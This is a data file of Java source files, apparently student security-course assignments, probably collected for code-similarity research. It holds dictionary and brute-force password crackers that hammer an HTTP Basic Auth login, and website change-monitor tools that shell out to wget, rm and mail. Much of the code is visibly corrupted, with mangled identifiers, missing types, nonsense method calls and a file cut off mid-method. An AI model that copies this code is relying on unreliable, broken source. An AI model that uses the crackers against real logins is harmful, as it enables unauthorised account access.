F1,text_1
224.java,"

import java.io.*;
import java.text.*;
import java.util.*;
import java.net.*;

public class Dictionary extends Thread
{
   private static final String USERNAME = """";
   private static final String DICTIONARY_FILE = ""/usr/share/lib/dict/words"";
   private static int NUMBER_OF_THREAD = 500;

   private static Date startDate = null;
   private static Date endDate = null;

   private String address;
   private String password;

   public Dictionary(String address, String password)
   {
      this.address = address;
      this.password = password;
   }

   public static void main(String[] args) throws IOException
   {
      if (args.length < 1)
      {
         System.err.println(""Invalid usage!"");
         System.err.println(""Usage: java Dictionary <url>"");
         System.exit(1);
      }

      try
      {
         dic(args[0], USERNAME);
      }
      catch(Exception e)
      {
         e.printStackTrace();
         System.exit(1);
      }
   }

   public static void dic(String address, String user)
   {
      Dictionary [] threads = new Dictionary[NUMBER_OF_THREAD];
      int index = 0;

      startDate = new Date();
      try
      {
         BufferedReader buff = new BufferedReader(new FileReader(DICTIONARY_FILE));
         String password = null;
         while((password = buff.readLine()) != null)
         {
            if (threads[index] != null && threads[index].isAlive())
            {
               try
               {
                  threads[index].join();
               }
               catch(InterruptedException e) {}
            }
            threads[index] = new Dictionary(address, password.trim());
            threads[index].get();

            index = (index++) % threads.length;
         }
      }
      catch(Exception e)
      {
         e.printStackTrace();
      }
   }

   public void run()
   {
      if (endDate != null)
         return;

      try
      {
         URLConnection conn = (new URL(address)).openConnection();
         conn.setDoInput(true);

         if (login(conn, USERNAME, password))
         {
            endDate = new Date();
            System.out.println(""Found the password: \""""+password+""\""!"");
            SimpleDateFormat format = new SimpleDateFormat(""dd/MM/yyyy HH:mm:"");
            System.out.println(""Process started at: ""+format.format(startDate));
            System.out.println(""Process started at: ""+format.format(endDate));
            double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;
            System.out.println(""Time taken: ""+timeTaken+"" minutes"");
            System.exit(0);
         }
         else
         {
            System.out.println(""Password: \""""+password+""\"" Failed!"");
            return;
         }
      }
      catch(Exception e)
      {
         e.printStackTrace();
      }
   }

   public static boolean login(URLConnection conn, String user, String pass)
   {
      try
      {
         String encodeAuth = "" ""+Base64Encoder.encode(user+"":""+pass);
         conn.setRequestProperty (""Authorization"", encodeAuth);
         conn.connect();
         conn.getInputStream();
      }
      catch(Exception e)
      {
         return false;
      }
      return true;
   }
}


"
175.java,"import java.io.*;
import java.net.*;
import java.util.*;


public class BruteForce
{

	public static void main(String args[])
	{
		
		
        Calendar cal = Calendar.getInstance();
        Date now=cal.getTime();
        double startTime = now.getTime();

		String password=getPassword(startTime);
		System.out.println(""The password is "" + password);
	}

	public static String getPassword(double startTime)
	{
		char first, second, third;
		String password="""";
		int requests=0;

		
		for (int i=65; i<123; i++)
		{
			requests++;
			first = (char) i;

			password = first + """";

			
			if (testPassword(password, startTime, requests))
				return password;

			for (int j=65; j<123; j++)
			{
				requests++;
				second = (char) j;

				password = first + """" + second;

				
				if (testPassword(password, startTime, requests))
					return password;

				for (int k=65; k<123; k++)
				{
					requests++;
					third = (char) k;

					password = first + """" + second + """" + third;

					
					if (testPassword(password, startTime, requests))
						return password;


					
					if (k==90)
						k=96;

				}

				if (j==90)
					j=96;

			}

			if (i==90)
				i=96;

		}

		return password;
	}

	private static boolean testPassword(String password, double startTime, int requests)
	{
		try
		{
			
			
			URL url=new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");

			HttpURLConnection connection;

    		String userPassword =  "":"" + password;

    		
    		String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());

			try
			{
				
				connection = (HttpURLConnection) url.openConnection();
				
				connection.setRequestProperty(""Authorization"", "" "" + encoding);

				
				int status=connection.getResponseCode();

				System.out.println(password + requests);

				if (status==200)
				{
					System.out.println(""It took "" + getTime(startTime) + "" milliseconds  find the password."");
					System.out.println("" were "" + requests + "" requests ."");

					return true;
				}

				return false;

			}

			catch (IOException ioe)
			{
				System.out.print(ioe);
				return false;
			}

		}

		catch (IOException MalformedURLException)
		{
			System.out.print(""Invalid URL"");
			return false;
		}
	}


	private static double getTime(double startTime)
	{
		
		
        Calendar cal = Calendar.getInstance();
        Date now=cal.getTime();
        double endTime = now.getTime();

        return endTime-startTime;

	}

}
"
141.java,"



import java.net.*;
import java.io.*;
import java.util.*;

public class WatchDog
{

  public WatchDog()
  {
  }

  public static void main(String[] args)
  {
      try
      {
          if( args.length != 2 )
          {
            System.out.println(""USAGE: java WatchDog <URL> <mailing UserName>"");
            System.exit(0);
          }

                Runtime.getRuntime().exec(""rm LastWatch.html"");
                Runtime.getRuntime().exec(""rm WatchDog.ini"");

                Thread.sleep(1000);

            while (true)
            {
                WatchDog myWatchDog = new WatchDog();
                myWatchDog.readHTML(args[0], args[1]);

                Runtime.getRuntime().exec(""rm Report.txt"");
                Runtime.getRuntime().exec(""rm diffReport.txt"");
                Runtime.getRuntime().exec(""rm NewWatch.txt"");

                System.out.println("" check after 2 ... press Ctrl-Z  suspend WatchDog..."");

                Thread.sleep(2*60*1000); 


            }
      }
      catch (Exception e)
      {
          e.printStackTrace();
      }
  }

  void readHTML (String strHTML, String userName)
  {

    Properties myProp = loadLastMD5 ();

    try
    {

      System.out.println(""Running WatchDog  \"""" + strHTML + ""\"" ...... Please Wait...."");

      URL url = new URL (strHTML);

      String strHost = url.getHost().toLowerCase();

      Runtime r = Runtime.getRuntime();



  

    
      

      InputStream in = url.openStream();

      DataInputStream bf = new  DataInputStream (in);

      FileOutputStream fOut = new FileOutputStream (""Watch.html"");
      DataOutputStream dOut = new DataOutputStream (fOut);

      Vector vtrImages = new Vector ();

      while ( bf!= null)
      {

          String str = bf.readLine();

          if (str == null)
              break;


         if ( str.toLowerCase().indexOf(""img"") > 0 )
         {
            int indexImg = str.toLowerCase().indexOf(""img"");
            int indexImgUrl = str.toLowerCase().indexOf(""\"""", indexImg);
            int indexImgUrlEnd = str.toLowerCase().indexOf(""\"""", indexImgUrl+1);

            String strImage = str.toLowerCase().substring(indexImgUrl+1, indexImgUrlEnd);

            if (strImage.toLowerCase().indexOf(strHost) > 0)
            {
                int index = strImage.toLowerCase().indexOf(strHost) + strHost.length();
                strImage = strImage.toLowerCase().substring(index);
            }

            if (!vtrImages.contains(strImage.toLowerCase()))
                vtrImages.add (strImage.toLowerCase());
         }

          dOut.writeBytes(str+""\n"");
      }

      dOut.print();
      fOut.print();
 
    

      for (int i=0 ; i < vtrImages.size() ; i ++)
      {

          
          r.exec(""wget "" + strHost + vtrImages.get(i).toString().trim());
      }

      Thread.sleep(2000);

      String [] command = {""//sh"", ""-c"",""md5sum *.* > NewWatch.txt""};

      Runtime.getRuntime().exec(command);

      Thread.sleep(1000);

      FileInputStream fIn = new FileInputStream (""NewWatch.txt"");
      DataInputStream  = new  DataInputStream (fIn);

      Properties prop = new Properties ();

      while ( bf  != null)
      {

          String str = bf.readLine();

          if (str == null)
              break;

          int index = str.indexOf("" "");


          if (fileDownloaded (str.substring(index + 1), vtrImages) || str.substring(index + 1).trim().equalsIgnoreCase(""Watch.html"") )
              prop.setProperty(str.substring(index + 1).trim().toLowerCase(), str.substring(0, index).trim().toLowerCase());
      }

      
      fIn.close();

      int isAnyChange = GenerateChangeFile (strHTML, myProp, prop);

      if (isAnyChange > 0)
      {

        if (isAnyChange == 2)
        {
            File f = new File (""LastWatch.html"");

            if (! f.exists())
            {
                f.createNewFile();
                Thread.sleep(1000);
            }

            String [] diffCommand = {""//sh"", ""-c"",""diff Watch.html LastWatch.html > diffReport.txt""};

            Runtime.getRuntime().exec(diffCommand);

            Thread.sleep(2000);

            FileInputStream feIn = new FileInputStream (""diffReport.txt"");
            DataInputStream deIn = new DataInputStream (feIn);

            FileOutputStream feOut = new FileOutputStream (""Report.txt"", true);
            DataOutputStream deOut = new DataOutputStream (feOut);

            deOut.writeBytes(""\n\n\nDifferences in  Target  :\n\n"");

            while (deIn != null)
            {
                String str = deIn.readLine();

                if (str == null)
                  break;

                deOut.writeBytes(str + ""\n"");
            }

            deOut.print();
            feOut.print();

            deIn.close();
            feIn.close();
        }

        String [] mailCommand = {""//sh"", ""-c"",""less Report.txt | mail "" + userName};

        Runtime.getRuntime().exec(mailCommand);

        System.out.println(""Mailing difference"");
      }
      else
          System.out.println("" difference detected"");


      Runtime.getRuntime().exec(""mv Watch.html LastWatch.html"");

    }
    catch (Exception e)
    {
        e.printStackTrace();
    }

  }

  private Properties loadLastMD5 ()
  {
      Properties myProp = new Properties ();

      try
      {
          myProp.load(new FileInputStream (""WatchDog.ini""));
      }
      catch (Exception e)
      {
      }

      return myProp;
  }

  private boolean fileDownloaded (String strFile, Vector vtrImages)
  {
      for ( int i = 0 ; i < vtrImages.size() ; i ++ )
      {
          String strImage = vtrImages.get(i).toString().trim();

          if ( strImage.toLowerCase().indexOf(strFile.toLowerCase().trim()) > -1 )
              return true;
      }

      return false;
  }

  private int GenerateChangeFile (String strUrl, Properties myProp, Properties prop)
  {
      int change = 0;
      boolean boolMainChange = false;

      try
      {
          FileOutputStream myOut = new FileOutputStream (""WatchDog.ini"");
          DataOutputStream myIniOut = new DataOutputStream (myOut);

          FileOutputStream fOut = new FileOutputStream (""Report.txt"");
          DataOutputStream dOut = new DataOutputStream (fOut);

          dOut.writeBytes(""Report of changes for \"""" + strUrl + ""\"":\n\n\n\n\n"");

          Enumeration e = prop.keys();

          while (e.hasMoreElements())
          {
              String file = e.nextElement().toString().toLowerCase().trim();

              Runtime.getRuntime().exec(""rm "" + file);

              myIniOut.writeBytes(file.toLowerCase() + ""="" + prop.getProperty(file) + ""\n"");

              if (myProp.containsKey(file))
              {
                  String OldValue = myProp.getProperty(file);
                  String newValue = prop.getProperty(file);

                  if (OldValue != null && newValue != null)
                  {
                      if (!OldValue.trim().equals(newValue.trim()))
                      {
                          if (file.toLowerCase().trim().equalsIgnoreCase(""Watch.html""))
                          {
                            dOut.writeBytes(""Traget html  has been changed\n"");
                            boolMainChange = true;
                          }
                          else
                            dOut.writeBytes(""File \"""" + file + ""\"" has been changed\n"");

                          change = 1;
                      }
                  }
              }
              else
              {
                  if (file.toLowerCase().trim().equalsIgnoreCase(""Watch.html""))
                  {
                       dOut.writeBytes(""Target html is checked for first time\n"");
                       boolMainChange = true;
                  }
                  else
                      dOut.writeBytes(""File \"""" + file + ""\"" is checked for first time and is new\n"");

                   change = 1;
              }
          }

          dOut.print();
          fOut.print();

          myIniOut.close();
          myOut.close();
      }
      catch (Exception ex)
      {
          ex.printStackTrace ();
      }

      if (boolMainChange)
          return 2;

      return change;
  }
}"
167.java,"
package java.httputils;

import java.io.IOException;
import java.net.MalformedURLException;
import java.util.ArrayList;
import java.util.Iterator;


public class RunnableHttpRequest extends Thread
{
    protected String targetURL = ""http://localhost:8080/"";
    protected int requestCount = 1;
    protected ArrayList timingList = new ArrayList();
    protected HttpRequestClient req;
    Boolean finished = new Boolean(false);
    HttpRequestThreadPool pool;

    
    public void run()
    {
        try
        {
            for (int i = 0; i < getRequestCount() && !getFinished().booleanValue(); i++)
            {
                try
                {
                    req =
                        new HttpRequestClient(getTargetURL());

                    
                }
                catch (MalformedURLException e)
                {
                    e.printStackTrace();
                    break;
                }
                catch (IOException e)
                {
                    e.printStackTrace();
                    break;
                }

            }
        }
        finally
        {
             i = 0;
            Iterator iter = getTimingList().iterator();
            while (iter.hasNext())
            {
                 element e =  iter.next();
                 i+= element.longValue();

            }
            System.out.println(
                ""*** Average Request processing time (milliseconds): "" );

            getPool().setThreadAverageTime(this, getTimingList().size());

            setFinished(new Boolean(true));
        }
    }


    
    public RunnableHttpRequest()
    {
        super();
    }


    
    public RunnableHttpRequest(
        String targetURL,
        int requestCount,
        String threadName,
        ThreadGroup group,
        HttpRequestThreadPool pool)
    {
        super(group, threadName);
        setTargetURL(targetURL);
        setRequestCount(requestCount);
        setPool(pool);
    }

    
    public int getRequestCount()
    {
        return requestCount;
    }

    
    public String getTargetURL()
    {
        return targetURL;
    }

    
    public void setRequestCount(int i)
    {
        requestCount = i;
    }

    
    public void setTargetURL(String string)
    {
        targetURL = string;
    }

    public static void main(String[] args)
    {
        RunnableHttpRequest client = null;
        try
        {
            ThreadGroup group = new ThreadGroup(""testGroup1"");
            client = new RunnableHttpRequest(
                args[0],
                Integer.parseInt(args[1]),
                ""test1"",
                group,
                null);
            client.close();

            try
            {
                while (!client.getFinished().booleanValue())
                {
                    sleep(100);
                }
            }
            catch (InterruptedException e)
            {
                e.printStackTrace();
            }
        }
        finally
        {
            if (client != null)
            {
                System.out.println(
                    ""Request processing time (milliseconds): "" +
                    client.getTimingList());
            }
        }
    }
    
    public HttpRequestClient getReq()
    {
        return req;
    }

    
    public ArrayList getTimingList()
    {
        return timingList;
    }

    
    public void setReq(HttpRequestClient client)
    {
        req = client;
    }

    
    public void setTimingList(ArrayList list)
    {
        timingList = list;
    }

    
    Boolean getFinished()
    {
        return finished;
    }

    
    synchronized void setFinished(Boolean boolean1)
    {
        finished = boolean1;
    }

    
    public HttpRequestThreadPool getPool()
    {
        return pool;
    }

    
    public void setPool(HttpRequestThreadPool pool)
    {
        this.pool = pool;
    }

}
"
203.java,"
import java.net.*;
import java.io.*;
import java.util.*;

public class MailClient
{
   private String host;
   private int port;
   private String message;
   

   public MailClient( String host, int port, Vector lineNumbers)
   {
      
      this.host = host;
      this.port = port;
      
      
      StringBuffer buf = new StringBuffer("" www.cs.rmit.edu./students has been changed!\nThe changes detected in the following line numbers:\n "");
      for( int i = 0; i < lineNumbers.size(); i++)
      {
         buf.append( lineNumbers.elementAt( i));
	 buf.append("", "");
      }
      message = buf.toString();
   }

   public void connect()
   {
     
      try
      {
         Socket client = new Socket( host, port);
	 handleConnection( client);
      }
      catch ( UnknownHostException uhe)
      {
         System.out.println(""Unknown host: "" + host);
	 uhe.printStackTrace();
      }
      catch (IOException ioe)
      {
         System.out.println(""IOException: "" + ioe);
	 ioe.printStackTrace();
      }
   }

   private void handleConnection(Socket client)
   {
      try
      {
         PrintWriter out = new PrintWriter( client.getOutputStream(), true);
         InputStream in = client.getInputStream();
	 byte[] response = new byte[1000];
	 
	 in.send( response);
	 out.println(""HELO ""+host);
	 int numBytes = in.get( response);
	 System.out.write(response, 0, numBytes);
	 out.println(""MAIL FROM: watch.dog@cs.rmit.edu."");
	 numBytes = in.get( response);
	 System.out.write(response, 0, numBytes);
	 out.println(""RCPT : @cs.rmit.edu."");
	 numBytes = in.get( response);
	 System.out.write(response, 0, numBytes);
	 out.println(""DATA"");
	 numBytes = in.get( response);
	 System.out.write(response, 0, numBytes);
	 out.println( message+""\n."");
	 numBytes = in.get( response);
	 System.out.write(response, 0, numBytes);
	 out.println(""QUIT"");
	 client.connect();
      }
      catch(IOException ioe)
      {
         System.out.println(""Couldn't make connection:"" + ioe);
      }
   }
   
   public static void main( String[] args)
   {
      Vector v = new Vector();
      v.add( new Integer(5));
      v.add( new Integer(12));
      MailClient c = new MailClient( ""mail.cs.rmit.edu."", 25, v);
      c.connect();
   }
}
      
         
         
         
"
193.java,"




import java.io.IOException;
import java.net.*;

import java.io.*;
import java.util.*;



public class Dictionary

{


   static URL url = null;
   static URLConnection urlConnection;
   static InputStream urlStream;

   static String strOneLetterWords[];
   static String strTwoLetterWords[];
   static String strThreeLetterWords[];

   static String strExceptionPassword[];

   static String strLastPasswordTested;
   static String username = """";

   static int intNumberOfOneLetterWords   = 0;
   static int intNumberOfTwoLetterWords   = 0;
   static int intNumberOfThreeLetterWords = 0;

   static int intExceptionCount = -1;

   static int intNumberOfConnectionAttempts = 0;
   static int intTotalNumberOfWordsInFile = 0;




   public static void main (String args[])
   
   {


         
         
      Calendar calStart;
      Calendar calFinish;   
      Date dateStart;
      Date dateFinish;
       lngStart;
       lngFinish;



      String strLine;
      String strTextFileName = ""/usr/share/lib/dict/words"";

      boolean boolPasswordFound = false;
      boolean boolExceptionPasswordsTestedAgain = false;




      String urlString
            = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";

      int intCounter1;
      int intCounter2;
      int intCounter3;

      int intTotalNumberOfWordsChecked = 0;



         
         
      calStart  = new GregorianCalendar();
      dateStart = calStart.getTime();
      lngStart  = dateStart.getTime();          



         
         
         
         
         
      strExceptionPassword = new String[5000];


         
         
      getNumberOfVariousLengthsOfWords(strTextFileName);


         
         
      strOneLetterWords   = new String[intNumberOfOneLetterWords];
      strTwoLetterWords   = new String[intNumberOfTwoLetterWords];
      strThreeLetterWords = new String[intNumberOfThreeLetterWords];


         
         
      populateTheDifferentLengthArrays(strTextFileName);




      if (!boolPasswordFound) 
      {


            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
         {

            boolPasswordFound = true;

            boolPasswordFound = passwordWasFound(urlString,
                                                 strOneLetterWords[intCounter1],
                                                 boolPasswordFound);

            intCounter1++;

            intTotalNumberOfWordsChecked++;

         }



            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) )
         {

            boolPasswordFound = true;

            boolPasswordFound = passwordWasFound(urlString,
                                                 strTwoLetterWords[intCounter1],
                                                 boolPasswordFound);

            intCounter1++;

            intTotalNumberOfWordsChecked++;

         }



            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfThreeLetterWords) )
         {

            boolPasswordFound = true;

            boolPasswordFound = passwordWasFound(urlString,
                                                 strThreeLetterWords[intCounter1],
                                                 boolPasswordFound);

            intCounter1++;

            intTotalNumberOfWordsChecked++;

         }



            
            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
         {

            intCounter2 = 0; 

            while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) )
            {

               boolPasswordFound = true;

               boolPasswordFound 
                   = passwordWasFound(urlString,
                                      strOneLetterWords[intCounter1] + 
                                              strOneLetterWords[intCounter2],
                                      boolPasswordFound);  

               intCounter2++;

               intTotalNumberOfWordsChecked++;

            }


            intCounter1++;

         }



            
            
            
            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
         {

            intCounter2 = 0; 

            while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) )
            {

               intCounter3 = 0; 

               while ( (!boolPasswordFound) && (intCounter3 < intNumberOfOneLetterWords) )
               {

                  boolPasswordFound = true;

                  boolPasswordFound 
                      = passwordWasFound(urlString,
                                         strOneLetterWords[intCounter1]         + 
                                                 strOneLetterWords[intCounter2] +
                                                 strOneLetterWords[intCounter3],
                                         boolPasswordFound);  

                  intCounter3++;

                  intTotalNumberOfWordsChecked++;

               }


               intCounter2++;

            }


            intCounter1++;

         }



            
            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
         {

            intCounter2 = 0; 

            while ( (!boolPasswordFound) && (intCounter2 < intNumberOfTwoLetterWords) )
            {

               boolPasswordFound = true;

               boolPasswordFound 
                   = passwordWasFound(urlString,
                                      strOneLetterWords[intCounter1] + 
                                              strTwoLetterWords[intCounter2],
                                      boolPasswordFound);  

               intCounter2++;

               intTotalNumberOfWordsChecked++;

            }


            intCounter1++;

         }



            
            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) )
         {

            intCounter2 = 0; 

            while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) )
            {

               boolPasswordFound = true;

               boolPasswordFound 
                   = passwordWasFound(urlString,
                                      strTwoLetterWords[intCounter1] + 
                                              strOneLetterWords[intCounter2],
                                      boolPasswordFound);  

               intCounter2++;

               intTotalNumberOfWordsChecked++;

            }


            intCounter1++;

         }



            
            
            
            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) )
         {

            boolExceptionPasswordsTestedAgain = true;
            boolPasswordFound = true;

            boolPasswordFound 
                = passwordWasFound(urlString,
                                   strExceptionPassword[intCounter1],
                                   boolPasswordFound);  

            intCounter1++;

            intTotalNumberOfWordsChecked++;

         }

      }   



         
         
      calFinish  = new GregorianCalendar();
      dateFinish = calFinish.getTime();
      lngFinish  = dateFinish.getTime();      


         
         
      System.out.println();
      System.out.println();


      System.out.println();
      System.out.println(""Length of time for processing: "" + 
                         ((lngFinish - lngStart) / 1000)   + 
                         "" seconds"");


      System.out.println();
      System.out.println(""Total number of words in dictionary file = "" + intTotalNumberOfWordsInFile);


      System.out.println();
      System.out.println(""Input file:  number of words with one letter length   = "" + intNumberOfOneLetterWords);
      System.out.println(""Input file:  number of words with two letter length   = "" + intNumberOfTwoLetterWords);
      System.out.println(""Input file:  number of words with three letter length = "" + intNumberOfThreeLetterWords);


      System.out.println();
      System.out.println(""Number of connection attempts = "" + intTotalNumberOfWordsChecked);


      System.out.println();
      System.out.println(""Number of exceptions thrown = "" + (intExceptionCount + 1));
      System.out.println();


      if (intExceptionCount >= 0)
      {
         System.out.print(""These passwords WERE "");

         if (boolExceptionPasswordsTestedAgain)
            System.out.print(""tested again."");
         else
            System.out.print(""NOT tested again."");

         System.out.println();
      }


      if (boolPasswordFound) 
      {
         System.out.println(""The correct password WAS found - this password is '"" + 
                            strLastPasswordTested + ""'."");
      } 
      else
      {
         System.out.println(""The correct password WAS NOT found."");
      } 
            
      System.out.println();

   }







   static void getNumberOfVariousLengthsOfWords(String TextFileName)
   
   {

      FileReader reader;
      BufferedReader inTextFile = null;

      String strLine;
      int intWordLength;



      try
      {      
 
            
            
            
            
         reader = new FileReader(TextFileName);

            
            
            
            
         inTextFile = new BufferedReader(reader);


         strLine = inTextFile.readLine();


         while (strLine != null)
         {

            intTotalNumberOfWordsInFile++;

            strLine = strLine.trim();

            intWordLength = strLine.length();


               
               
            if (intWordLength == 1)
               intNumberOfOneLetterWords++;

               
               
            else if (intWordLength == 2) 
               intNumberOfTwoLetterWords++;

               
               
            else if (intWordLength == 3)
               intNumberOfThreeLetterWords++;


            strLine = inTextFile.readLine();

         }

      }

      catch(FileNotFoundException e)
      {

            
            
         System.out.println();
         System.out.println(""The file '"" + TextFileName + ""' cannot  found."");
         System.out.println();

      }

      catch(Exception e)
      {

      }

      finally
      {

         try
         {
            inTextFile.print();
         }
         catch(Exception e)
         {
         }

         inTextFile = null;
         reader = null;

      }

   }      






   static void populateTheDifferentLengthArrays(String TextFileName)
   
   {

      FileReader reader;
      BufferedReader inTextFile = null;

      String strLine;
      int intWordLength;

      int intCountOfOneLetterWords   = -1;
      int intCountOfTwoLetterWords   = -1;
      int intCountOfThreeLetterWords = -1;



      try
      {      
 
            
            
            
            
         reader = new FileReader(TextFileName);

            
            
            
            
         inTextFile = new BufferedReader(reader);


         strLine = inTextFile.readLine();


         while (strLine != null)
         {

            strLine = strLine.trim();
            intWordLength = strLine.length();


               
               
            if (intWordLength == 1)
            {
               intCountOfOneLetterWords++;
               strOneLetterWords[intCountOfOneLetterWords] = strLine;
            }

               
               
            else if (intWordLength == 2) 
            {

               intCountOfTwoLetterWords++;
               strTwoLetterWords[intCountOfTwoLetterWords] = strLine;
            }

               
               
            else if (intWordLength == 3)
            {
               intCountOfThreeLetterWords++;
               strThreeLetterWords[intCountOfThreeLetterWords] = strLine;
            }

            strLine = inTextFile.readLine();

         }

      }

      catch(FileNotFoundException e)
      {

            
            
         System.out.println();
         System.out.println(""The file '"" + TextFileName + ""' cannot  found."");
         System.out.println();

      }

      catch(Exception e)
      {
         System.out.println(""Exception thrown...."");
         System.err.println(e);
      }

      finally
      {

         try
         {
            inTextFile.print();
         }
         catch(Exception e)
         {
         }

         inTextFile = null;
         reader = null;

      }

   }







   static boolean passwordWasFound(String urlString,
                                   String password,
                                   boolean retVal)
   
   {

      String strEncodeInput = username + "":"" + password;
      boolean returnValue = retVal;
      boolean boolExceptionThrown = false;



      try
      {

         strLastPasswordTested = password;
 
         intNumberOfConnectionAttempts++;

         url = new URL(urlString);

         String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes());


         System.out.print(""username = "" + 
                          username      + 
                          ""    ""       +
                          ""password = "" +
                          password);



         HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection();

         urlConnection.setRequestProperty(""Authorization"", 
                                          "" "" + encoding);   

         System.out.println(""    response  = "" + urlConnection.getResponseCode());

         if (urlConnection.getResponseCode() == 401)
         {
            returnValue = false;         
         }

      }

      catch (MalformedURLException m)
      {
         boolExceptionThrown = true;
         returnValue = false;

         System.err.println(m);
         System.out.println(""Malformed URL Exception error"");
      }

      catch (IOException io)
      {
         boolExceptionThrown = true;
         returnValue = false;

         System.out.println(""IOException error"");
         System.err.println(io); 
      }

      catch (Exception e)
      {
         boolExceptionThrown = true;
         returnValue = false;

         System.out.println(""General exception....."");
         System.err.println(e); 
      }

      finally
      { 
         urlConnection = null;
         url = null; 
      }


      if (boolExceptionThrown)
      {
         intExceptionCount++;
         strExceptionPassword[intExceptionCount] = password;
      }


      return returnValue;

   }

}"
176.java,"
public class ImageFile
{
	private String imageUrl;
	private int imageSize;

	public ImageFile(String url, int size)
	{
		imageUrl=url;
		imageSize=size;
	}

	public String getImageUrl()
	{
		return imageUrl;
	}

	public int getImageSize()
	{
		return imageSize;
	}
}
"
033.java,"

class WebPage
{
    
    
    private boolean success = false;
    
    private String pageContents= """";
    

	
    public WebPage()
    {
    }
    
	
    public void setSuccess (boolean inSuccess)
    {
        success = inSuccess;
    }
    
	
    public boolean getSuccess()
    {
        return success;
    }
    
	
    public void setPageContents (String inPage)
    {
        pageContents = inPage;
    }
    
	
    public String getPageContents()
    {
        return pageContents;
    }
}   
"
169.java,"package java.httputils;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.OutputStream;


public class WatchDog
{
    protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);
    protected int interval = 24;
    protected String URL = ""http://www.cs.rmit.edu./students/"";
    protected String fileName = ""WatchDogContent.html"";
    protected String command = ""./alert_mail.sh"";
    protected String savedContent;
    protected String retrievedContent;

    
    public WatchDog()
    {
        super();
    }

    
    public void run() throws Exception
    {
        HttpRequestClient client = null;
        
        
        System.out.println(getClass().getName() +
                        ""Retrieving baseline copy of: "" + getURL());
        client = new HttpRequestClient(getURL());
        retrievedContent = client.getContent().toString();

        System.out.println(getClass().getName() +
                        ""Writing baseline content : "" + getFileName());
        writeFile();

        while (true)
        {
            
            System.out.println(getClass().getName() +
                            "" Sleeping for hours: "" + getInterval());
            Thread.currentThread().sleep(MILLIS_IN_HOUR * getInterval());

            
            System.out.println(getClass().getName() +
                            "" Retrieving: "" + getURL());

            client = new HttpRequestClient(getURL());
            retrievedContent = client.getContent().toString();

            
            System.out.println(getClass().getName() +
                            ""  saved copy: "" + getURL());
            savedContent = readFile();

            
            System.out.println(getClass().getName() +
                            "" Comparing saved and retrieved. "");
            if (!savedContent.equals(retrievedContent))
            {
                
                System.out.println(getClass().getName() +
                                "" Difference found. "");

                writeTempFile();
                runCommand();
            }

            
            writeFile();
        }
    }


    
    public String runCommand()
    {
        String cmd = getCommand() + "" \"""" + getURL() + ""\"""";
        try
        {
            Runtime r = Runtime.getRuntime();
            System.out.println(getClass().getName() +
            "" Executing: "" + cmd);

            Process proc = r.exec(cmd);
        }
        catch (Exception e)
        {
            try
            {
                Runtime r = Runtime.getRuntime();
                Process proc = r.exec(cmd);
            }
            catch (Exception ex)
            {
                System.out.println(getClass().getName()
                    + "" Could not run :""
                    + getCommand()
                    + "" because : ""
                    + ex.getMessage());
            }
        }

        return ""Executed successfully"";
    }

    
    protected String readFile() throws FileNotFoundException
    {
        BufferedInputStream input = null;
        FileInputStream file = null;
        StringBuffer content = new StringBuffer();
        try
        {
            file = new FileInputStream(getFileName());
            
            input = new BufferedInputStream(file);
            
        }
        catch (FileNotFoundException x)
        {
            System.err.println(""File not found: "" + getFileName());
            throw x;
        }

        try
        {
            int ch;
            while ((ch = input.get()) != -1)
            {
                content.append((char)ch);
            }
        }
        catch (IOException x)
        {
            x.printStackTrace();
        }
        finally
        {
            if (input != null)
            {
                try
                {
                    input.get();
                    file.get();
                }
                catch (IOException e)
                {
                }
            }
        }
        return content.toString();
    }

    
    protected void writeFile() throws Exception
    {
        OutputStream os = null;
        try
        {
            os = new BufferedOutputStream(
                     new FileOutputStream(getFileName(), false));
            os.write(getRetrievedContent().getBytes());
        }
        catch (FileNotFoundException e)
        {
            e.printStackTrace();
            throw e;
        }
        catch (IOException e)
        {
            e.printStackTrace();
            throw e;
        }
        finally
        {
            if (os != null)
            {
                try
                {
                    os.close();
                }
                catch (IOException e)
                {
                }
            }
        }
    }

    
    protected void writeTempFile() throws Exception
    {
        OutputStream os = null;
        try
        {
            os = new BufferedOutputStream(
                     new FileOutputStream("".html"", false));
            os.write(getRetrievedContent().getBytes());
        }
        catch (FileNotFoundException e)
        {
            e.printStackTrace();
            throw e;
        }
        catch (IOException e)
        {
            e.printStackTrace();
            throw e;
        }
        finally
        {
            if (os != null)
            {
                try
                {
                    os.close();
                }
                catch (IOException e)
                {
                }
            }
        }
    }

    public static void main(String[] args)
    {
        WatchDog watchDog = new WatchDog();

        if (args.length < 3)
        {
            watchDog.printUsage();
        }

        
        System.out.println(watchDog.getClass().getName() +
                        "": Initialising with "" +
                        args[0] + "" \n"" +
                        args[1] + "" \n"" +
                        args[2] + "" \n"");
        watchDog.setURL(args[0]);
        watchDog.setInterval(Integer.parseInt(args[1]));
        watchDog.setCommand(args[2]);

        
        try
        {
            System.out.println(watchDog.getClass().getName() + "": Invoking the run method."");
            watchDog.run();
        }
        catch (Exception e)
        {
            e.printStackTrace();
        }
    }

    public String printUsage()
    {
